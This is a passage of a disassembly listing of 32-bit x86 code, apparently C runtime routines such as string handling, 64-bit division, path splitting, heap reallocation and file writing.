mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_416EDF
jz short loc_416EE1
dec ecx
dec ecx
loc_416EDF: ; CODE XREF: sub_416EB0+29j
not ecx
loc_416EE1: ; CODE XREF: sub_416EB0+9j
; sub_416EB0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_416EB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416EF0 proc near ; CODE XREF: sub_407119+5Cp
; sub_407119+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_416FA4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_416F1A
loc_416F0B: ; CODE XREF: sub_416EF0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_416F4B
test edi, 3
jnz short loc_416F0B
loc_416F1A: ; CODE XREF: sub_416EF0+19j
; sub_416EF0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_416F1A
mov eax, [edi-4]
test al, al
jz short loc_416F58
test ah, ah
jz short loc_416F53
test eax, 0FF0000h
jz short loc_416F4E
test eax, 0FF000000h
jnz short loc_416F1A
loc_416F4B: ; CODE XREF: sub_416EF0+20j
dec edi
jmp short loc_416F5B
; ---------------------------------------------------------------------------
loc_416F4E: ; CODE XREF: sub_416EF0+52j
sub edi, 2
jmp short loc_416F5B
; ---------------------------------------------------------------------------
loc_416F53: ; CODE XREF: sub_416EF0+4Bj
sub edi, 3
jmp short loc_416F5B
; ---------------------------------------------------------------------------
loc_416F58: ; CODE XREF: sub_416EF0+47j
sub edi, 4
loc_416F5B: ; CODE XREF: sub_416EF0+5Cj
; sub_416EF0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_416F70
mov ebx, ecx
shr ecx, 2
jnz short loc_416FBC
jmp short loc_416F8C
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EF0+75j
; sub_416EF0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_416FAA
mov [edi], dl
inc edi
dec ecx
jz short loc_416FA0
test esi, 3
jnz short loc_416F70
mov ebx, ecx
shr ecx, 2
jnz short loc_416FBC
loc_416F8C: ; CODE XREF: sub_416EF0+7Ej
; sub_416EF0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_416FA0
loc_416F93: ; CODE XREF: sub_416EF0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_416FA2
dec ecx
jnz short loc_416F93
loc_416FA0: ; CODE XREF: sub_416EF0+8Bj
; sub_416EF0+A1j
mov [edi], cl
loc_416FA2: ; CODE XREF: sub_416EF0+ABj
pop ebx
pop esi
loc_416FA4: ; CODE XREF: sub_416EF0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FAA: ; CODE XREF: sub_416EF0+85j
; sub_416EF0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FB4: ; CODE XREF: sub_416EF0+E4j
; sub_416EF0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416F8C
loc_416FBC: ; CODE XREF: sub_416EF0+7Cj
; sub_416EF0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416FB4
test dl, dl
jz short loc_416FAA
test dh, dh
jz short loc_417008
test edx, 0FF0000h
jz short loc_416FF8
test edx, 0FF000000h
jnz short loc_416FB4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FF8: ; CODE XREF: sub_416EF0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_417008: ; CODE XREF: sub_416EF0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416EF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417020 proc near ; CODE XREF: seg000:004074FCp
; seg000:0040FEE6p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_417041
xor eax, eax
jmp short loc_417043
; ---------------------------------------------------------------------------
loc_417041: ; CODE XREF: sub_417020+1Bj
mov eax, edi
loc_417043: ; CODE XREF: sub_417020+1Fj
cld
pop edi
leave
retn
sub_417020 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_417060
loc_417050: ; CODE XREF: sub_417060+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_417060
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417060 proc near ; CODE XREF: sub_4085B7+DBp
; seg000:0040D24Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00417050 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_417066: ; CODE XREF: sub_415AA0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41708B
loc_417078: ; CODE XREF: sub_417060+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_417050
test cl, cl
jz short loc_4170D4
test edx, 3
jnz short loc_417078
loc_41708B: ; CODE XREF: sub_417060+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_417096: ; CODE XREF: sub_417060+61j
; sub_417060+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4170D8
and eax, 81010100h
jz short loc_417096
and eax, 1010100h
jnz short loc_4170D2
and esi, 80000000h
jnz short loc_417096
loc_4170D2: ; CODE XREF: sub_417060+68j
; sub_417060+81j ...
pop esi
pop edi
loc_4170D4: ; CODE XREF: sub_417060+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4170D8: ; CODE XREF: sub_417060+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_417115
test al, al
jz short loc_4170D2
cmp ah, bl
jz short loc_41710E
test ah, ah
jz short loc_4170D2
shr eax, 10h
cmp al, bl
jz short loc_417107
test al, al
jz short loc_4170D2
cmp ah, bl
jz short loc_417100
test ah, ah
jz short loc_4170D2
jmp short loc_417096
; ---------------------------------------------------------------------------
loc_417100: ; CODE XREF: sub_417060+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417107: ; CODE XREF: sub_417060+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41710E: ; CODE XREF: sub_417060+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417115: ; CODE XREF: sub_417060+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_417060 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41711C proc near ; CODE XREF: sub_4085B7+AFp
; seg000:004112B0p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_417130
xor eax, eax
jmp short loc_417166
; ---------------------------------------------------------------------------
loc_417130: ; CODE XREF: sub_41711C+Ej
dec [ebp+arg_4]
push esi
jz short loc_417160
mov esi, [ebp+arg_8]
loc_417139: ; CODE XREF: sub_41711C+42j
dec dword ptr [esi+4]
js short loc_417148
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41714F
; ---------------------------------------------------------------------------
loc_417148: ; CODE XREF: sub_41711C+20j
push esi
call sub_41B890
pop ecx
loc_41714F: ; CODE XREF: sub_41711C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41716A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_417160
dec [ebp+arg_4]
jnz short loc_417139
loc_417160: ; CODE XREF: sub_41711C+18j
; sub_41711C+3Dj ...
and byte ptr [edi], 0
loc_417163: ; CODE XREF: sub_41711C+55j
mov eax, ebx
pop esi
loc_417166: ; CODE XREF: sub_41711C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41716A: ; CODE XREF: sub_41711C+36j
cmp edi, [ebp+arg_0]
jnz short loc_417160
xor ebx, ebx
jmp short loc_417163
sub_41711C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417173 proc near ; CODE XREF: sub_409B08+6p
; sub_409B26+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_469508, 0
push ebx
push esi
push edi
jnz short loc_4171A0
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_417239
cmp eax, 5Ah
jg loc_417239
add eax, 20h
jmp loc_417239
; ---------------------------------------------------------------------------
loc_4171A0: ; CODE XREF: sub_417173+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_4171D4
cmp ds:dword_437F5C, esi
jle short loc_4171C2
push esi
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_4171CC
; ---------------------------------------------------------------------------
loc_4171C2: ; CODE XREF: sub_417173+42j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, esi
loc_4171CC: ; CODE XREF: sub_417173+4Dj
test eax, eax
jnz short loc_4171D4
loc_4171D0: ; CODE XREF: sub_417173+ADj
mov eax, ebx
jmp short loc_417239
; ---------------------------------------------------------------------------
loc_4171D4: ; CODE XREF: sub_417173+3Aj
; sub_417173+5Bj
mov edx, ds:off_437D50
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4171F8
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_417201
; ---------------------------------------------------------------------------
loc_4171F8: ; CODE XREF: sub_417173+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_417201: ; CODE XREF: sub_417173+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push ds:dword_469508
call loc_41BD51
add esp, 20h
test eax, eax
jz short loc_4171D0
cmp eax, esi
jnz short loc_41722C
movzx eax, [ebp+var_4]
jmp short loc_417239
; ---------------------------------------------------------------------------
loc_41722C: ; CODE XREF: sub_417173+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_417239: ; CODE XREF: sub_417173+16j
; sub_417173+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_417173 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417240 proc near ; CODE XREF: sub_40A9FF+3Dp
; sub_40C1FC+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417261
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_4172B1
; ---------------------------------------------------------------------------
loc_417261: ; CODE XREF: sub_417240+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41726F: ; CODE XREF: sub_417240+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41726F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41729A
cmp edx, [esp+4+arg_4]
ja short loc_41729A
jb short loc_4172A2
cmp eax, [esp+4+arg_0]
jbe short loc_4172A2
loc_41729A: ; CODE XREF: sub_417240+4Aj
; sub_417240+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_4172A2: ; CODE XREF: sub_417240+52j
; sub_417240+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_4172B1: ; CODE XREF: sub_417240+1Fj
pop ebx
retn 10h
sub_417240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4172C0 proc near ; CODE XREF: sub_40A9FF+24p
; sub_40C1FC+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_4172E2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_417323
; ---------------------------------------------------------------------------
loc_4172E2: ; CODE XREF: sub_4172C0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4172F0: ; CODE XREF: sub_4172C0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4172F0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41731E
cmp edx, [esp+8+arg_4]
ja short loc_41731E
jb short loc_41731F
cmp eax, [esp+8+arg_0]
jbe short loc_41731F
loc_41731E: ; CODE XREF: sub_4172C0+4Ej
; sub_4172C0+54j
dec esi
loc_41731F: ; CODE XREF: sub_4172C0+56j
; sub_4172C0+5Cj
xor edx, edx
mov eax, esi
loc_417323: ; CODE XREF: sub_4172C0+20j
pop esi
pop ebx
retn 10h
sub_4172C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417328 proc near ; CODE XREF: sub_40AAB5+1E3p
; seg000:00411DF1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_415CD0
cmp eax, 1
pop ecx
jb short loc_417363
cmp byte ptr [ebx+1], 3Ah
jnz short loc_417363
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41735F
push 2
push ebx
push esi
call sub_41C380
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41735F: ; CODE XREF: sub_417328+25j
inc ebx
inc ebx
jmp short loc_41736D
; ---------------------------------------------------------------------------
loc_417363: ; CODE XREF: sub_417328+18j
; sub_417328+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41736D
and byte ptr [eax], 0
loc_41736D: ; CODE XREF: sub_417328+39j
; sub_417328+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_4173E5
loc_417380: ; CODE XREF: sub_417328+87j
mov cl, [eax]
movzx edx, cl
test ds:byte_46A9C1[edx], 4
jz short loc_417391
inc eax
jmp short loc_4173AB
; ---------------------------------------------------------------------------
loc_417391: ; CODE XREF: sub_417328+64j
cmp cl, 2Fh
jz short loc_4173A5
cmp cl, 5Ch
jz short loc_4173A5
cmp cl, 2Eh
jnz short loc_4173AB
mov [ebp+var_4], eax
jmp short loc_4173AB
; ---------------------------------------------------------------------------
loc_4173A5: ; CODE XREF: sub_417328+6Cj
; sub_417328+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_4173AB: ; CODE XREF: sub_417328+67j
; sub_417328+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_417380
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_4173E5
cmp [ebp+arg_8], 0
jz short loc_4173E0
sub edi, ebx
cmp edi, esi
jb short loc_4173C9
mov edi, esi
loc_4173C9: ; CODE XREF: sub_417328+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41C380
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4173E0: ; CODE XREF: sub_417328+97j
mov ebx, [ebp+arg_4]
jmp short loc_4173EF
; ---------------------------------------------------------------------------
loc_4173E5: ; CODE XREF: sub_417328+56j
; sub_417328+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_4173EF
and byte ptr [ecx], 0
loc_4173EF: ; CODE XREF: sub_417328+BBj
; sub_417328+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_417442
cmp edi, ebx
jb short loc_417442
cmp [ebp+arg_C], 0
jz short loc_41741F
sub edi, ebx
cmp edi, esi
jb short loc_417408
mov edi, esi
loc_417408: ; CODE XREF: sub_417328+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41C380
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41741F: ; CODE XREF: sub_417328+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41746A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41742F
mov esi, eax
loc_41742F: ; CODE XREF: sub_417328+103j
push esi
push [ebp+var_4]
push edi
call sub_41C380
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41746A
; ---------------------------------------------------------------------------
loc_417442: ; CODE XREF: sub_417328+CCj
; sub_417328+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_417460
sub eax, ebx
cmp eax, esi
jnb short loc_417451
mov esi, eax
loc_417451: ; CODE XREF: sub_417328+125j
push esi
push ebx
push edi
call sub_41C380
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_417460: ; CODE XREF: sub_417328+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41746A
and byte ptr [eax], 0
loc_41746A: ; CODE XREF: sub_417328+FCj
; sub_417328+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_417328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41746F proc near ; CODE XREF: sub_40B1C5+19p
; sub_412CEC+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_417D2C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4174AD
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4174BA
; ---------------------------------------------------------------------------
loc_4174AD: ; CODE XREF: sub_41746F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C17
pop ecx
pop ecx
loc_4174BA: ; CODE XREF: sub_41746F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41746F endp
; =============== S U B R O U T I N E =======================================
sub_4174BF proc near ; CODE XREF: sub_40B43D+2Ep
; sub_4167B3+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_4174DA
push [esp+10h+arg_4]
call sub_415DA9
pop ecx
jmp loc_4175DA
; ---------------------------------------------------------------------------
loc_4174DA: ; CODE XREF: sub_4174BF+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_4174F0
push ebx
call sub_415E1D
pop ecx
loc_4174E9: ; CODE XREF: sub_4174BF+114j
xor eax, eax
jmp loc_4175DA
; ---------------------------------------------------------------------------
loc_4174F0: ; CODE XREF: sub_4174BF+21j
; sub_4174BF+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4175BB
push ebx
call sub_418ADD
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_417598
cmp esi, ds:dword_437F6C
ja short loc_417558
push esi
push ebx
push ebp
call sub_4192E8
add esp, 0Ch
test eax, eax
jz short loc_417527
mov edi, ebx
jmp short loc_417550
; ---------------------------------------------------------------------------
loc_417527: ; CODE XREF: sub_4174BF+62j
push esi
call sub_418E33
mov edi, eax
pop ecx
test edi, edi
jz short loc_417558
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41753E
mov eax, esi
loc_41753E: ; CODE XREF: sub_4174BF+7Bj
push eax
push ebx
push edi
call sub_4155B0
push ebx
push ebp
call sub_418B08
add esp, 14h
loc_417550: ; CODE XREF: sub_4174BF+66j
test edi, edi
jnz loc_4175D8
loc_417558: ; CODE XREF: sub_4174BF+53j
; sub_4174BF+73j
test esi, esi
jnz short loc_41755F
push 1
pop esi
loc_41755F: ; CODE XREF: sub_4174BF+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push ds:dword_46AAE0
call ds:dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4175BB
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_417584
mov eax, esi
loc_417584: ; CODE XREF: sub_4174BF+C1j
push eax
push ebx
push edi
call sub_4155B0
push ebx
push ebp
call sub_418B08
add esp, 14h
jmp short loc_4175B7
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_4174BF+47j
test esi, esi
jnz short loc_41759F
push 1
pop esi
loc_41759F: ; CODE XREF: sub_4174BF+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push ds:dword_46AAE0
call ds:dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_4175B7: ; CODE XREF: sub_4174BF+D7j
test edi, edi
jnz short loc_4175D8
loc_4175BB: ; CODE XREF: sub_4174BF+36j
; sub_4174BF+B9j
cmp ds:dword_4694D4, 0
jz short loc_4175D8
push esi
call sub_418A48
test eax, eax
pop ecx
jnz loc_4174F0
jmp loc_4174E9
; ---------------------------------------------------------------------------
loc_4175D8: ; CODE XREF: sub_4174BF+93j
; sub_4174BF+FAj ...
mov eax, edi
loc_4175DA: ; CODE XREF: sub_4174BF+16j
; sub_4174BF+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4174BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175DF proc near ; CODE XREF: seg000:0040BBBFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_417603
xor eax, eax
jmp loc_4176D0
; ---------------------------------------------------------------------------
loc_417603: ; CODE XREF: sub_4175DF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_417616
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41761D
; ---------------------------------------------------------------------------
loc_417616: ; CODE XREF: sub_4175DF+2Dj
mov [ebp+arg_C], 1000h
loc_41761D: ; CODE XREF: sub_4175DF+35j
; sub_4175DF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_417651
mov eax, [esi+4]
test eax, eax
jz short loc_417651
cmp ebx, eax
mov edi, ebx
jb short loc_417637
mov edi, eax
loc_417637: ; CODE XREF: sub_4175DF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_4155B0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_417697
; ---------------------------------------------------------------------------
loc_417651: ; CODE XREF: sub_4175DF+47j
; sub_4175DF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41769C
test ecx, ecx
jz short loc_417665
push esi
call sub_4186C4
test eax, eax
pop ecx
jnz short loc_4176DE
loc_417665: ; CODE XREF: sub_4175DF+79j
cmp [ebp+arg_C], 0
jz short loc_417678
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41767A
; ---------------------------------------------------------------------------
loc_417678: ; CODE XREF: sub_4175DF+8Aj
mov edi, ebx
loc_41767A: ; CODE XREF: sub_4175DF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41C40A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4176D5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4176D5
loc_417697: ; CODE XREF: sub_4175DF+70j
mov edi, [ebp+var_4]
jmp short loc_4176C5
; ---------------------------------------------------------------------------
loc_41769C: ; CODE XREF: sub_4175DF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_417C17
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4176DE
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4176C5
mov [ebp+arg_C], 1
loc_4176C5: ; CODE XREF: sub_4175DF+BBj
; sub_4175DF+DDj
test ebx, ebx
jnz loc_41761D
mov eax, [ebp+arg_8]
loc_4176D0: ; CODE XREF: sub_4175DF+1Fj
; sub_4175DF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4176D5: ; CODE XREF: sub_4175DF+ADj
; sub_4175DF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_4176E0
; ---------------------------------------------------------------------------
loc_4176DE: ; CODE XREF: sub_4175DF+84j
; sub_4175DF+CFj
mov eax, edi
loc_4176E0: ; CODE XREF: sub_4175DF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4176D0
sub_4175DF endp
; =============== S U B R O U T I N E =======================================
sub_4176E9 proc near ; CODE XREF: sub_40C1E2+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_417709
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41C5B7
pop ecx
loc_417705: ; CODE XREF: sub_4176E9+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417709: ; CODE XREF: sub_4176E9+Dj
test al, 1
jz short loc_41772A
test [esp+arg_4], 2
jz short loc_41772A
mov ds:dword_469474, 0Dh
mov ds:dword_469478, 5
jmp short loc_417705
; ---------------------------------------------------------------------------
loc_41772A: ; CODE XREF: sub_4176E9+22j
; sub_4176E9+29j
xor eax, eax
retn
sub_4176E9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417730 proc near ; CODE XREF: sub_40C30C+5Fp
; sub_40C30C+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_417751
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_417751: ; CODE XREF: sub_417730+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41776D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41776D: ; CODE XREF: sub_417730+27j
or eax, eax
jnz short loc_417789
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4177CA
; ---------------------------------------------------------------------------
loc_417789: ; CODE XREF: sub_417730+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_417797: ; CODE XREF: sub_417730+71j
shr ebx, 1
